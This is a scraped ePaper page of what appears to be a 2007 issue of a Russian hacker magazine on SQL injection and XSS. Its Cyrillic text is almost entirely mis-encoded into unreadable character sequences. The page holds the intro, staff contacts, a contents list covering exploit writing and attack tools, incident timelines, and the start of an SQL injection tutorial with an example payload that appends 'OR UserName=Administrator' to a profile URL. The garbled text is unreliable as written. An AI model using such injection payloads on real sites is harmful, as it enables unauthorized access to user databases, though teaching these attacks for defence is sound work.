13.07.2015 Views

этом - Xakep Online

этом - Xakep Online

этом - Xakep Online

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

02(75)ÔÅÂÐÀËÜ 2007ÅÆÅÌÅÑß×ÍÛÉÒÅÌÀÒÈ×ÅÑÊÈÉÊÎÌÏÜÞÒÅÐÍÛÉÆÓÐÍÀËÔàòàëüíàÿèíúåêöèÿ!ÓÿçâèìîñòèCross-Site Scripting,SQL Injectionè áîðüáà ñ íèìè6ÒåîðèÿSQL Injection16Òîíêîñòèóäàëåííîãîè ëîêàëüíîãîPHP-èíêëþäèíãà34Ñîçäàíèåìíîãîóðîâíåâîéçàùèòûâåá-ïðèëîæåíèé50XSS — êëþ÷êî ìíîãèìäâåðÿì46Àâòîìàòè÷åñêèéïîèñêóÿçâèìîñòåéíà ñàéòàõ


introÇà îêíîì ÿíâàðü, òåïëî è äîæäü — äîâîëüíîíåîáû÷íîå ñî÷åòàíèå. Âïðî÷åì, ýòî èíòðî òîæåíå ñîâñåì îáû÷íîå. Äåëî â òîì, ÷òî ýòîò íîìåðÑÏÅÖà — ïîñëåäíèé… Íåò, ìû íèêóäà íå äåíåìñÿ,è æóðíàë áóäåò âûõîäèòü è äàëüøå, íî îí áóäåòäðóãèì. Ìû òåðÿåì ñëîâî Õàêåð â íàçâàíèè.Òÿæåëî ðàññòàâàòüñÿ ñ äóõîì èññëåäîâàíèé,âçëîìà, ìåëêîãî õóëèãàíñòâà è íèãèëèçìà, íî æèçíüíå ñòîèò íà ìåñòå: âñå âçðîñëåþò, íàáèðàþòñÿîïûòà è æèçíåííîé ìóäðîñòè. Ìû ïîíÿëè, ÷òî íàøàè òâîÿ æèçíü íåðàçðûâíî ñâÿçàíà ñ êîìïüþòåðàìèè èíôîðìàöèîííûìè òåõíîëîãèÿìè, è òåïåðüâíèìàíèå æóðíàëà áóäåò ñôîêóñèðîâàíî íà ITñàìîãî ñåðüåçíîãî óðîâíÿ.Ìû áóäåì ïîìîãàòü òåáå ðàáîòàòü è äåëàòüêàðüåðó â ÈÒ-èíäóñòðèè, ðåøàòü ïðîôåññèîíàëüíûåïðîáëåìû è ðàçâèâàòüñÿ, à òâîåé êîìïàíèè —äîñòèãàòü íîâûõ âûñîò è ïîâûøàòü ýôôåêòèâíîñòüáèçíåñà ñ ïîìîùüþ ñîâðåìåííûõ èíôîðìàöèîííîòåëåêîììóíèêàöèîííûõòåõíîëîãèé.Ñ âûáîðîì òåìû äëÿ ïîñëåäíåãî íîìåðàâ ñòàðîé èïîñòàñè ó íàñ âîïðîñ íå ñòîÿë: îäíîçíà÷íîëþáèìîå íàïðàâëåíèå — áåçîïàñíîñòü.Ïåðåñìîòðåâ ïîäøèâêó ñòàðûõ íîìåðîâ, ìû îáíàðóæèëè,÷òî ìàëî âíèìàíèÿ óäåëÿëè äâóìàñïåêòàì âåá-áåçîïàñíîñòè, àêòóàëüíîñòü êîòîðûõñ êàæäûì äíåì âñå âîçðàñòàåò.  ðåçóëüòàòåòû äåðæèøü â ðóêàõ æóðíàë, ïîñâÿùåííûé âíåäðåíèþâðåäîíîñíîãî SQL-êîäà (SQL Injections)è HTML/JavaScript-êîäà (Cross-Site Scripting, XSS)è çàùèòå îò íåãî.P.S.  ýòîì íîìåðå òû íå íàéäåøü ðóáðèêèe-ìûëî. Ìû ñîçíàòåëüíî ïîøëè íà ýòî, ÷òîáû ïàðóñòðàíèö ïîñâÿòèòü òåì, êòî â òå÷åíèå òðåõ ñ ïîëîâèíîéëåò äåëàë Õàêåð ÑÏÅÖ, òî åñòü ñåáå.AvaLANche


ÅÆÅÌÅÑß×ÍÛÉÒÅÌÀÒÈ×ÅÑÊÈÉÊÎÌÏÜÞÒÅÐÍÛÉÆÓÐÍÀËWWW.XAKEP.RU02|75|2007Ìíåíèå ðåäàêöèè íå âñåãäà ñîâïàäàåò ñ ìíåíèåì àâòîðîâ.Âñå ìàòåðèàëû ýòîãî íîìåðà ïðåäñòàâëÿþò ñîáîé ëèøü èíôîðìàöèþ ê ðàçìûøëåíèþ.Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà íåçàêîííûå äåéñòâèÿ, ñîâåðøåííûåñ åå èñïîëüçîâàíèåì, è âîçìîæíûé ïðè÷èíåííûé óùåðá.Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ áåç ñïðîñà — ïðåñëåäóåì.ÐÅÄÀÊÖÈßÃëàâíûé ðåäàêòîðÍèêîëàé «AvaLANche» ×åðåïàíîâ (avalanche@real.xakep.ru)Âûïóñêàþùèé ðåäàêòîðÑåðãåé Íèêèòèí (nikitin@real.xakep.ru)ÐåäàêòîðûÀëåêñàíäð «Dr.Klouniz» Ëîçîâñêèé (alexander@real.xakep.ru)Àíäðåé Êàðîëèê (andrusha@real.xakep.ru)Ëèòåðàòóðíûé ðåäàêòîðÍàñòÿ ÃëóõîâàÀðò-äèðåêòîðÈâàí Âàñèí (vasin@real.xakep.ru)ÄèçàéíåðÍàòàëüÿ Æóêîâà (zhukova@real.xakep.ru)ÂåðñòàëüùèêÀíäðåé Êàðàìíîâ (karamnoff@real.xakep.ru)ÖâåòîêîððåêòîðÀëåêñàíäð Êèñåëåâ (kiselev@real.xakep.ru)OÒÄÅË ÐÅÊËÀÌÛÄèðåêòîð ïî ðåêëàìåÈãîðü Ïèñêóíîâ (igor@gameland.ru)Ðóêîâîäèòåëü îòäåëà ðåêëàìû öèôðîâîé ãðóïïûÎëüãà Áàñîâà (olga@gameland.ru)Ìåíåäæåðû îòäåëàÎëüãà Eìåëüÿíöåâà (olgaeml@gameland.ru)Åâãåíèÿ Ãîðÿ÷åâà (goryacheva@gameland.ru)Îêñàíà Àëåõèíà (alekhina@gameland.ru)òåë.: (495) 935.70.34ôàêñ: (495) 780.88.24ÎÒÄÅË ÄÈÑÒÐÈÁÓÖÈÈÄèðåêòîð îòäåëà äèñòðèáóöèè è ìàðêåòèíãàÂëàäèìèð Ñìèðíîâ (vladimir@gameland.ru)Îïòîâîå ðàñïðîñòðàíåíèåÀíäðåé Ñòåïàíîâ (andrey@gameland.ru)ÏîäïèñêàÀëåêñåé Ïîïîâ (popov@gameland.ru)Ðåãèîíàëüíîå ðîçíè÷íîå ðàñïðîñòðàíåíèåÒàòüÿíà Êîøåëåâà (kosheleva@gameland.ru)òåë.: (495) 935.70.34ôàêñ: (495) 780.88.24ÈÍÔÎÐÌÀÖÈß Î ÂÀÊÀÍÑÈßÕÈÇÄÀÒÅËÜÑÒÂÀ «ÃÅÉÌ ËÝÍÄ»Ìåíåäæåð îòäåëà ïî ðàáîòå ñ ïåðñîíàëîìÌàðèíà Íàõàëîâà (nahalova@gameland.ru)òåë.: (495) 935.70.34 (äîá. 454)ÈÇÄÀÒÅËÜÑÒÂÎ «ÃÅÉÌ ËÅÍÄ»Ãåíåðàëüíûé ÄèðåêòîðÄìèòðèé Àãàðóíîâ (dmitri@gameland.ru)Óïðàâëÿþùèé ÄèðåêòîðÄàâèä Øîñòàê (shostak@gameland.ru)Äèðåêòîð ïî ðàçâèòèþÏàøà Ðîìàíîâñêèé (romanovski@gameland.ru)Äèðåêòîð ïî ïåðñîíàëóÌèõàèë Ñòåïàíîâ (stepanovm@gameland.ru)Ôèíàíñîâûé äèðåêòîðÅëåíà Äèàíîâà (dianova@gameland.ru)Èçäàòåëü öèôðîâîé ãðóïïûÁîðèñ Ñêâîðöîâ (boris@gameland.ru)Ðåäàêöèîííûé äèðåêòîð öèôðîâîé ãðóïïûÀëåêñàíäð Ñèäîðîâñêèé (sidorovsky@gameland.ru)ÈÍÔÎÐÌÀÖÈß Î ÏÎÄÏÈÑÊÅÁåñïëàòíûé òåë.: 8 (800) 200-3-999ÄËß ÏÈÑÅÌ101000, Ìîñêâà, Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð Ñïåöspec@real.xakep.ruÎòïå÷àòàíî â òèïîãðàôèè «ScanWeb», ÔèíëÿíäèÿÇàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå Ðîññèéñêîé Ôåäåðàöèèïî äåëàì ïå÷àòè, òåëåðàäèîâåùàíèþè ñðåäñòâàì ìàññîâûõ êîììóíèêàöèéÏÈ ¹ 77-12014 îò 4 ìàðòà 2002 ã.Òèðàæ 42 000 ýêçåìïëÿðîâ.Öåíà äîãîâîðíàÿ.Spider_NETc. 70 Àêòèâíûé ó÷àñòíèê ïðîåêòà vr-online.ru, ðàíåå ïðèíèìàë ó÷àñòèå â äðóãîì ïðîåêòå —mashp (mashp.h10.ru).  ðåàëüíîé æèçíè ðàáîòàåò àäìèíèñòðàòîðîì ÁÄ è ïðîãðàììèñòîì. ïðîôåññèîíàëüíîì ïðîãðàììèðîâàíèè áîëåå 4 ëåò, â îñíîâíîì ïèøåòíà Delphi è PHP.Êðèñ Êàñïåðñêèc. 72 Èçâåñòåí åùå êàê ìûùúõ è nezumi. Êîìïüþòåðû ãðûçåò åùå ñ òåõ âðåìåí, êîãäà Ïðàâåö-8Ä ñ÷èòàëñÿêðóòîé ìàøèíîé, à äèñêîâîä ñ ìîíèòîðîì áûëè âåðõîì ìå÷òàíèé. Îñâîèë ìíîæåñòâî ÿçûêîâïðîãðàììèðîâàíèÿ è îïåðàöèîííûõ ñèñòåì, èç êîòîðûõ ðåàëüíî èñïîëüçóåò W2K, à ëþáèò FreeBSD 4.5.Æèâåò â íîðå, îêðóæåííîé ïî ïåðèìåòðó êîìïüþòåðàìè è ñòåëëàæàìè ñ ëèòåðàòóðîé.Åâãåíèé Äîêóêèíc. 54  Ñåòè èçâåñòåí ïîä ïñåâäîíèìîì MustLive.  ÈÒ-èíäóñòðèè áîëåå 13 ëåò, ñ òîãî ìîìåíòà,êîãäà îòåö ïîäàðèë ïåðâûé êîìïüþòåð — Ïîèñê 2. Ñ òåõ ïîð âñÿ æèçíü òåñíî ñâÿçàíà ñ èíôîðìàöèîííûìèòåõíîëîãèÿìè. Àêòèâíî ïðîïàãàíäèðóåò ñîöèàëüíûé ñåêüþðèòè àóäèò — áåçâîçìåçäíûé ïîèñêóÿçâèìîñòåé. Èçâåñòåí ñâîèì ïðîåêòîì ïî âåá-áåçîïàñíîñòè http://websecurity.com.ua.Ìèõàèë Ôëåíîâc. 72 Èçâåñòåí ïîä íèêîì Horrific. Ñîçäàòåëü ñàéòà www.vr-online.ru, àâòîð 11 êíèã íà ðóññêîìè 4 íà àíãëèéñêîì ÿçûêå. Íàïèñàë ìíîæåñòâî ñòàòåé â òàêèå æóðíàëû êàê Õàêåð (âíåøòàòíûé àâòîðïî÷òè ñ ñàìîãî ðîæäåíèÿ æóðíàëà), ÕàêåðÑÏÅÖ è äðóãèå êîìïüþòåðíûå èçäàíèÿ.


SQL INJECTION06 ÄÅÔÅÊÒÍÛÉ ÇÀÌÛÑÅËÒåîðèÿ SQL Injection10 ÎÑÎÇÍÀÍÍÛÉ ÏÐÈÌÅÐÐåàëüíàÿ óãðîçà SQL Injection16 RFI-ÏÀÍÎÏÒÈÊÓÌÚPHP-èíêëþäèíã22 ÏÐÈÒÎÍÛ ÈÍÒÅÐÍÅÒÀÎáçîð security-ñàéòîâ26 ÏÐÎÒÈÂÎÓÊÎËÜÍÛÉ ÊÎÑÒÞÌÏðàâèëüíûé web-êîäèíã30 ÂÍÓÒÐÈÌÛØÅ×ÍÎ È ÂÍÓÒÐÈÂÅÍÍÎÎáçîð òåõíîëîãèé âçëîìà web-ðåñóðñîâ34 ÂÀÊÖÈÍÀ ÄËß ÑÀÉÒÀÑîçäàíèå ìíîãîóðîâíåâîé ñèñòåìû çàùèòûîò âçëîìà web-ïðèëîæåíèéXSS38 ÂÎÊÐÓà ÇÀÏÐÅÒÎÂÊàê çàùèòèòü web-ñåðâåð?46 ÇÀÏÀÕ ÏÐÎÏÀÑÒÈÎáçîð ïðîãðàìì ïîèñêà óÿçâèìîñòåé íà ñàéòàõ50 ÊËÞ× ÊÎ ÌÍÎÃÈÌ ÄÂÅÐßÌÒåîðèÿ XSS54 ÆÅÑÒÎÊÀß ÏÐÀÂÄÀÈíòåðâüþ ñ àóäèòîðîì ïî áåçîïàñíîñòè58 ØÀÌÀÍÑÊÈÅ ÄÅËÀÐåêëàìà ñ ïîäâîõîì62 ÁÅÇÛÃÎËÜÍÛÉ ÈÍÚÅÊÒÎÐÈíñòðóìåíòàðèé êîäåðà ýêñïëîéòîâ íà Perl66 PERL ÍÀ ÈÃËÅÏðàêòè÷åñêèé êóðñ íàïèñàíèÿ ýêñïëîéòàSPECIAL DELIVERY68 ÈÍÒÅÐÂÜÞÈíòåðâüþ ñ Àëåêñàíäðîì Àíòèïîâûì70 FAQÂîïðîñû ýêñïåðòó72 ÎÏÐÎÑÌíåíèÿ ïðîôåññèîíàëîâSPEC TOPIC78 ÑÅÊÐÅÒÛ ÄÅÌÎ-ÊÎÄÈÍÃÀÏðîãðàììèðîâàíèå äåìîê: ñîâåòû ãóðó84 ÄÅÌÎ-ÈÍÒÅÐÂÜÞÐàçãîâîð ñ ïèñàòåëåì äåìîê88 ÃÐÀÔÈÊÀ  ÄÅÌÊÀÕÐàçìûøëåíèÿ èçâåñòíîãî ñöåíåðàofftopicSOFT96 ADMININGÍàñòðîéêà ïî÷òîâîãî ñåðâåðà98 ÑÎÔÒ ÎÒ ÑÏÅÖÀÏîäáîðêà ñâåæèõ ïðîãðàììHARD100 ÒÅÑÒ ÍÎÓÒÁÓÊÎÂÄîñòóïíàÿ ìîáèëüíîñòü — íåäîðîãèå ìîáèëüíûå ÏÊSTORY104 ÐÀÑÑÊÀÇÏóëÿ äëÿ ãåíèÿ112 ÈÑÕÎÄÍÈÊÈ ÂÑÅËÅÍÍÎÉÏîòîê ñîçíàíèÿ IVcd:ÇËÎÁÍÛÉ ÑÎÔÒBeEF — BrowserExploitation FrameworkXSS-proxy 0.0.11XSS ShellNmap 4.11Pantera 3Brutus AET2SPIKE ProxyWikto 1.63ÏÎÈÑÊÓßÇÂÈÌÎÑÒÅÉParos Proxy 3.2.13WebScarabAcunetix WebVulnerability ScannerCyD Net UtilsSQL Injection ToolsN-Stalker WebApplication SecurityScanner 2006ASP Auditor v2 BETAXSpider 7.5Shadow SecurityScannerÑÅÐÂÈÑÛApache 2.2.4mod_securityMySQL 5.0.27lighttpd 1.4.13SQLite 3.3.11Serv-U 6.3.0.1PHP 5.2.0Perl 5.8.8ÑÏÅÖÓÒÈËÈÒÛConsoleAudacityOpera 9.10 FinalNoCloneEnterprise Edition 4Advanced VistaCodec Package 4.2.0Vista Manager 1.0.3CD-DAExtractor 10PortableAnyReader 1.9.55ÎÁÍÎÂËÅÍÈßWINDOWSÑÏÅÖ 12(73)«WEB-ÊÓÕÍß»


timeline2000{çàðîæäåíèå} Èíöèäåíò ïðîèçîøåëâ Êîðåå, êîãäà õàêåðû âçëîìàëè ñàéòMSN Korea. Îíè âñòàâèëè â áëîê íîâîñòåéâðåäîíîñíûé êîä, êîòîðûé, âñâîþ î÷åðåäü, ïûòàëñÿ óêðàñòü ñ êîìïüþòåðîâïîëüçîâàòåëåé, ïîñåùàþùèõýòîò ñàéò, ïàðîëè ê îíëàéíîâîéèãðå Lineage. Èìåííî òîãäà óÿçâèìîñòüòèïà Ñross-Site Scripting ïîëó-÷èëà øèðîêóþ îãëàñêó, à â Microsoftçàÿâèëè, ÷òî ýòî ñåðüåçíàÿ óãðîçà áåçîïàñíîñòèñàéòîâ. Åñòåñòâåííî, ïðîáëåìàáûëà óñòðàíåíà, íî ñ òåõ ïîðýòî ïîòåíöèàëüíàÿ óÿçâèìîñòü íîìåðîäèí ó ëþáîãî äèíàìè÷åñêîãî ñàéòà,ðàáîòàþùåãî ñ áàçîé äàííûõ.2004 Microsoft ïóáëè÷íîíàçâàëè óÿçâèìîñòüòèïà Cross-Site Scriptingñåðüåçíîé óãðîçîéáåçîïàñíîñòè ñàéòîâ{áîìáà çàìåäëåííîãî äåéñòâèÿ} Æèçíüâëàäåëüöåâ ôîðóìîâ, èñïîëüçóþùèõäâèæîê phpBB (ñàìûé ïîïóëÿðíûéôîðóì â ìèðå), ñòàëà êîøìàðîì ïîñëåòîãî, êàê â 2004 ãîäó áûë îïóáëèêîâàíýêñïëîéò äî âûõîäà îôèöèàëüíîãîèñïðàâëåíèÿ îò hpBB. Ïðè÷åìïîñëå ïîÿâëåíèÿ èíôîðìàöèè î äûðåðàçðàáîò÷èêè ôîðóìà çàÿâèëè, ÷òîîíà îïàñíîñòè íå ïðåäñòàâëÿåò è áóäåòóñòðàíåíà ñ âûõîäîì ñëåäóþùåãîðåëèçà ôîðóìà. Îäíàêî ÷åðåç íåñêîëüêîäíåé ïîÿâèëñÿ ýêñïëîéò, ïîçâîëÿþùèéâûïîëíÿòü ïðîèçâîëüíûåêîìàíäû íà óÿçâèìîì ñåðâåðå. Áóêâàëüíî÷åðåç íåñêîëüêî ÷àñîâ ïîñëåïîÿâëåíèÿ âðåäîíîñíîãî êîäà â ñâîáîäíîìäîñòóïå phpBB îïóáëèêîâàëïðîïàò÷åííóþ âåðñèþ phpBB 2.0.11,íî íå âñå óçíàëè îá ýòîì âîâðåìÿ…È âñå ðàâíî ôîðóì phpBB îñòàåòñÿîäíèì èç íàèáîëåå ïîïóëÿðíûõñðåäè âåá-ìàñòåðîâ, ïðåæäå âñåãîèç-çà ïðîñòîòû óñòàíîâêè è íàñòðîéêè.Êàæäûé íàäååòñÿ, ÷òî åãî áåäàîáîéäåò ñòîðîíîé…


2005{õàðàêèðè ôèøåðó} Íà òåððèòîðèèßïîíèè áûë çàäåðæàí çëîóìûøëåííèêÊàäçóìà ßáóíî, êîòîðûé ïðîìûøëÿëñáîðîì êîíôèäåíöèàëüíîéôèíàíñîâîé èíôîðìàöèè ñ ïîìîùüþôèøåðñêîãî ñàéòà Yafoo! Japan, íàïèñàíèåURL êîòîðîãî ïî÷òè èäåíòè÷íîñ îôèöèàëüíûì ÿïîíñêèì ïîðòàëîìYahoo!. Åæåíåäåëüíî æåðòâàìè«ðûáàëêè» ñòàíîâèëèñü îò 20 äî30 ÷åëîâåê. Ïðè÷åì ýòè ëþäè, íè÷åãîíå ïîäîçðåâàÿ, ëåãêî äåëèëèñü ñâîåéëè÷íîé èíôîðìàöèåé: ëîãèíàìè, ïàðîëÿìè,íîìåðàìè êðåäèòíûõ êàðò…Óïðàâëåíèå ñàéòîì çëîóìûøëåííèêîñóùåñòâëÿë êàê ñ äîìàøíåãî, òàêè ñ ðàáî÷åãî êîìïüþòåðà. Êàäçóìåáûëè ïðåäúÿâëåíû îáâèíåíèÿ â íàðóøåíèèàâòîðñêèõ ïðàâ è íåñàíêöèîíèðîâàííîìäîñòóïå ê èíôîðìàöèè,ïîñëå ÷åãî îí áûë âçÿò ïîä ñòðàæó.Ïîäîáíûé ïðåöåäåíò ÿâëÿåòñÿ ïåðâûìíà òåððèòîðèè ßïîíèè, â îòëè-÷èå îò òåõ æå Øòàòîâ, ãäå ýòî âïîëíåíîðìàëüíàÿ ïðàêòèêà.Êàêîé äâèæîê äëÿ web-ñàéòà íàèáîëåå áåçîïàñåí?Äàííûå îñíîâàíû íà îïðîñå â ðàìêàõ ïðîåêòà www.securitylab.ruâ äåêàáðå 2006 ãîäà, â êîòîðîì ïðèíÿëè ó÷àñòèå 397 ÷åëîâåêñîáñòâåííîðó÷íîíàïèñàííûé äâèæîêcms ïîä ñâîáîäíûìèëèöåçèÿìè (Drupal, XOOPS,PHP-Nuke è äðóãèå)íå çíàþcms ïîä ñâîáîäíûìè ïðîïðèåòàðíûìèëèöåíçèÿìè ñ îòêðûòûìèñõîäíûì êîäîì (áèòðèêñ)cms ïîä ñâîáîäíûìè ïðîïðèåòàðíûìèëèöåíçèÿìè ñ çàêðûòûìèñõîäíûì êîäîì (áîëüøèíñòâîïëàòíûõ cms)200644,84%18,89%17,63%10,087,81%Ëèäåðû ïî êîëè÷åñòâó íàéäåííûõ óÿçâèìîñòåéÏî ðåçóëüòàòàì îïðîñà íà www.securitylab.ruMozilla FirefoxInternet ExplorerSafariOpera54%24%15%7%25 óÿçâèìîñòåé áûëî óñòðàíåíî â InternetExplorer ñ ÿíâàðÿ ïî ñåíòÿáðü 2006ãîäà.  Mozilla Firefox óÿçâèìîñòåé áûëîíàéäåíî åùå áîëüøå — öåëûõ 56,36 èç êîòîðûõ áûëè êðèòè÷åñêèìè èìîãëè áûòü èñïîëüçîâàíû äëÿ ïîëó÷åíèÿïîëíîãî êîíòðîëÿ íàä óÿçâèìîéñèñòåìîé.  Opera áûëî íàéäåíî âñåãî7 óÿçâèìîñòåé, à â Safari — 16 (www.securitylab.ru/analytics/273335.php).{Top 20} Âåäóùàÿ îðãàíèçàöèÿ êîìïüþòåðíîéáåçîïàñíîñòè SANS Instituteîïóáëèêîâàëà åæåãîäíûé ñïèñîê 20ïðîãðàìì (Top 20 Security Attack Targets),êîòîðûå ÿâëÿþòñÿ èçëþáëåííûìèöåëÿìè õàêåðîâ (www.sans.org/top20/).Çàâåòíûå öåëè — ïðèëîæåíèÿ Microsoft:Internet Explorer, Office, WindowsLibraries… Mac OS X êîìïàíèè Appleïîïàë â ýòîò ñïèñîê ñî «ñëàáîé êîíôèãóðàöèåé»â Unix. Ïî äàííûì âñåòîé æå SANS, 40 ïðîöåíòîâ âåá-ïðèëîæåíèéÿâëÿþòñÿ óÿçâèìûìè äëÿSQL Injection àòàê è 80 ïðîöåíòîâ —äëÿ Ñross-Site Scripting àòàê.Ëþáèìûå öåëè ñðåäè ïðèëîæåíèé:1 Web-ïðèëîæåíèÿ2 Áàçû äàííûõ3 Ôàéëîîáìåííèêè4 Ìåññåíäæåðû5 Ìåäèàïëåéåðû6 DNS-ñåðâåðû7 Ïðèëîæåíèÿ äëÿ áýêàïà{43%} Ñòîëüêî ïðîáëåì ïðèõîäèòñÿíà âåá-ïðèëîæåíèÿ, íàïèñàííûå íàPHP è ñâÿçàííûå ñ áåçîïàñíîñòüþèíôîðìàöèîííûõ ñåòåé. Òàêîâû ðåçóëüòàòûèññëåäîâàíèÿ, ïðîâåäåííîãîâ 2006 ãîäó àìåðèêàíñêèì Íàöèîíàëüíûìèíñòèòóòîì ñòàíäàðòîâè òåõíîëîãèè (NIST), êîòîðûå áûëèîïóáëèêîâàíû íà ñàéòå securityfocus.com.Òàêîé âûâîä îñíîâàí íà àíàëèçå6198 óÿçâèìîñòåé, çàôèêñèðîâàííûõâ 2006 ãîäó, èç íèõ 2690 (òåcàìûå 43 ïðîöåíòà) ñîäåðæàëè â îïèñàíèèñëîâî «PHP». Ïðèìå÷àòåëüíî,÷òî åùå â 2005 ãîäó íà äîëþ ïðèëîæåíèéíà ïëàòôîðìå PHP ïðèõîäèëîñüâñåãî 29% óÿçâèìîñòåé. Ïîýòîìóìîæíî ñäåëàòü âûâîä, ÷òî ïðîáëåìàêðîåòñÿ ñêîðåå â ñàìèõ ðàçðàáîò-÷èêàõ, êîòîðûå äóìàþò î áåçîïàñíîñòèâ ïîñëåäíþþ î÷åðåäü. Ê òîìó æåìíîãèå èç íèõ íå ÿâëÿþòñÿ íàñòîÿùèìèïðîôåññèîíàëàìè.


06 /37 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß06 ÄÅÔÅÊÒÍÛÉ ÇÀÌÛÑÅË10 ÎÑÎÇÍÀÍÍÛÉ ÏÐÈÌÅÐ16 RFI-ÏÀÍÎÏÒÈÊÓÌÚ22 ÏÐÈÒÎÍÛ ÈÍÒÅÐÍÅÒÀ26 ÏÐÎÒÈÂÎÓÊÎËÜÍÛÉ ÊÎÑÒÞÌ30 ÂÍÓÒÐÈÌÛØÅ×ÍÎ È ÂÍÓÒÐÈÂÅÍÍÎ34 ÂÀÊÖÈÍÀ ÄËß ÑÀÉÒÀäåôåêòíûéçàìûñåëSQL InjectionÀÒÀÊÈ ÒÈÏÀ SQL INJECTION — ×ÀÑÒÛÅ ÃÎÑÒÈ Â ËÅÍÒÀÕ BUGTRAQ. ÔÎÐÓÌÛ,ÃÎÑÒÅÂÛÅ ÊÍÈÃÈ È ÐÀÇÍÎÎÁÐÀÇÍÛÅ ÑÖÅÍÀÐÈÈ, ÊÎÒÎÐÛÅ ÈÑÏÎËÜÇÓÞÒÄËß ÕÐÀÍÅÍÈß ÈÍÔÎÐÌÀÖÈÈ ÁÀÇÛ ÄÀÍÍÛÕ, ÐÅÃÓËßÐÍÎ ÏÎÄÂÅÐÃÀÞÒÑß ÈÌspider_net (spider_net@inbox.ru)www.vr-online.ruSQL Injection — âíåäðåíèå ïðîèçâîëüíûõSQL-êîìàíä, â ðåçóëüòàòå êîòîðîãî ìåíÿåòñÿ ëîãèêàîðèãèíàëüíîãî çàïðîñà ê áàçå äàííûõ. Ýòî ïðåäñòàâëÿåòñåðüåçíóþ óãðîçó, òàê êàê òàêèì îáðàçîì çëîóìûøëåííèêìîæåò óòÿíóòü èç íåå êîíôèäåíöèàëüíóþèíôîðìàöèþ. Òèïè÷íûé ïðèìåð — ÷åðåç îøèáêèâ web-èíòåðôåéñå ó ðàçíûõ ïðîâàéäåðîâ íå ðàçêðàëè áàçû ñ ëîãèíàìè è ïàðîëÿìè ïîëüçîâàòåëåé.Óñïåøíîñòü àòàêè SQL Injection íå çàâèñèòîò èñïîëüçóåìîãî äëÿ íàïèñàíèÿ web-ïðèëîæåíèéÿçûêà ïðîãðàììèðîâàíèÿ — áóäü òî PHP, Perl èëèASÐ. Åñëè ñöåíàðèé ðàáîòàåò ñ áàçàìè äàííûõ, à ïðîâåðêàâõîäíûõ ïàðàìåòðîâ îòñóòñòâóåò, òî âñåãäàåñòü âîçìîæíîñòü âíåäðåíèÿ SQL-êîäà. Ýòî îòíîñèòñÿíå òîëüêî ê web-ïðèëîæåíèÿì, íî è ê îáû÷íûìïðîãðàììàì, êîòîðûå ðàáîòàþò ñ áàçàìè äàííûõ.êàê ýòî ïðîèñõîäèò? ×òîáû íå ãðûçòü ñóõóþòåîðèþ, äàâàé ðàññìîòðèì íåáîëüøîé ïðèìåð. Äîïóñòèì,ó òåáÿ íà ñåðâåðå áàç äàííûõ åñòü ñâîÿ áàçà,à â íåé — òàáëèöà Users, â êîòîðîé õðàíèòñÿ èíôîðìàöèÿîáî âñåõ çàðåãèñòðèðîâàííûõ ïîëüçîâàòåëÿõ.Êàê ïðàâèëî, òàêèå òàáëèöû èìåþò ìèíèìóì>


8 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-073 Çíàê ðàâåíñòâà. Êàçàëîñü áû, ÷åì ìîæåò ãðîçèòüïðîñòîé çíàê ðàâåíñòâà (=)? Íî ïðè ïðàâèëüíîìïîäõîäå è îòñóòñòâèè ôèëüòðàöèè ýòîãî ñèìâîëà çíàêðàâåíñòâà ïðåâðàùàåòñÿ â áîåâîå îðóæèå. Ïðèìåð:SELECT * FROM Users WHERE id= ïåðåìåííàÿÂçëîìùèê ìîæåò áåç ïðîáëåì â êà÷åñòâå çíà÷åíèÿïåðåìåííîé ïîäñòàâèòü «1 OR UserName=Aäìèí»,è çàïðîñ ëåãêèì äâèæåíèåì ðóêè ïðåâðàòèòñÿ â:Ïòèöà îáëîìèíãîòðè ïîëÿ: id (èäåíòèôèêàòîð), UserName (èìÿ ïîëüçîâàòåëÿ)è Password (ïàðîëü). Äîïóñòèì, äëÿ òîãî÷òîáû ïîñìîòðåòü ïðîôèëü ïîëüçîâàòåëÿ, èñïîëüçóåòñÿñëåäóþùèé çàïðîñ ê áàçå äàííûõ:SELECT *FROM UsersWHERE id = ïåðåìåííàÿ äàííîì ïðèìåðå âèäíî, ÷òî çíà÷åíèå ïîëÿ id áóäåòñðàâíèâàòüñÿ ñî çíà÷åíèåì ïåðåìåííîé. Åñëèâ êà÷åñòâå çíà÷åíèÿ ïåðåìåííîé óêàçàòü, íàïðèìåð,10, òî ÷åñòíûé ïîëüçîâàòåëü óâèäèò ñâîé ïðîôèëü.Âðîäå âñå õîðîøî è ïðåêðàñíî, íî ÷òî áóäåò,åñëè ìîäèôèöèðîâàòü çàïðîñ äî òàêîãî âèäà:SELECT *FROM UsersWHERE id = ïåðåìåííàÿ OR UserName =‘Àäìèíèñòðàòîð’Ïîñëå âûïîëíåíèÿ òàêîãî çàïðîñà îòîáðàçèòñÿ çàïèñüíå òîëüêî ñ id = çíà÷åíèþ ïåðåìåííîé, íî è çàïèñü,â êîòîðîé çíà÷åíèå ïîëÿ UserName = Àäìèíèñòðàòîð.Òî åñòü ïîñëå òàêîãî çàïðîñà õàêåð óâèäèò âñþ èíôîðìàöèþîá ó÷åòíîé çàïèñè «Àäìèíèñòðàòîð».www.site.ru/profile.php?id=10OR UserName=’Àäìèíèñòðàòîð’Íà ýòîì ïðèìåðå âèäíî, ÷òî ïîñëå òîãî, êàê ìû äîïèñàëèê URL äîïîëíèòåëüíûå SQL-êîìàíäû (OR User-Name=…), ëîãèêà çàïðîñà èçìåíèëàñü. Îòñóòñòâèåôèëüòðàöèè âõîäíûõ ïàðàìåòðîâ — âîò ïðè÷èíà, èççàêîòîðîé ïîÿâèëàñü âîçìîæíîñòü âîñïîëüçîâàòüñÿSQL Injection! ×òîáû ýòîãî íå ïðîèçîøëî, íåîáõîäèìîïåðåä âûïîëíåíèåì çàïðîñà â ñöåíàðèè êîå-÷òîïðîâåðèòü.  äàííîì ñëó÷àå äîñòàòî÷íî ïðîñìîòðåòüñîäåðæèìîå îäíîé (ýòî ïðè óñëîâèè, ÷òî îñòàëüíûåïåðåìåííûå íèãäå íå âèäíû, íî ëó÷øå ïðîâåðÿòüâñå) ïåðåìåííîé id: â íåé íå äîëæíî áûòü 